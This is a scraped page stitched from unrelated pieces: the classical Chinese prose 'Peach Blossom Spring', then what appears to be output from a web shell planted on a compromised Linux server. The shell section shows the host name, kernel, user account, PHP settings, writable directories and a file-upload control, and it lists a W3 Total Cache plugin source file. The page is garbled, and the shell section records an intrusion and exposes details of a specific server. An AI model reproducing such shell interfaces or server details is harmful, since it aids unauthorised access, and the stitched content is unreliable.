晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
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Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/www/wp-content/plugins/w3-total-cache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/www/wp-content/plugins/w3-total-cache/DbCache_Wpdb.php
<?php
namespace W3TC;

/**
 * class Db
 * Database access mediator
 */
class DbCache_Wpdb extends DbCache_WpdbBase {
	/**
	 * Returns object instance. Called by WP engine
	 *
	 * @return DbCache_Wpdb
	 */
	static function instance() {
		static $instance = null;

		if ( is_null( $instance ) ) {
			$processors = array();
			$call_default_constructor = true;

			// no caching during activation
			$is_installing = ( defined( 'WP_INSTALLING' ) && WP_INSTALLING );

			$config = Dispatcher::config();
			if ( !$is_installing && $config->get_boolean( 'dbcache.enabled' ) ) {
				$processors[] = new DbCache_WpdbInjection_QueryCaching();
			}
			if ( Util_Environment::is_dbcluster() ) {
				// dbcluster use mysqli only since other is obsolete now
				if ( !defined( 'WP_USE_EXT_MYSQL' ) ) {
					define( 'WP_USE_EXT_MYSQL', false );
				}

				$processors[] = new Enterprise_Dbcache_WpdbInjection_Cluster();
			}

			$processors[] = new DbCache_WpdbInjection();

			global $wp_version;
			if (version_compare( $wp_version, '5.3') >= 0) {
				$o = new DbCache_WpdbNew( $processors );
			} else {
				$o = new DbCache_WpdbLegacy( $processors );
			}

			$next_injection = new _CallUnderlying( $o );

			foreach ( $processors as $processor ) {
				$processor->initialize_injection( $o, $next_injection );
			}

			// initialize after processors configured
			$o->initialize();

			$instance = $o;
		}

		return $instance;
	}
}

haha - 2025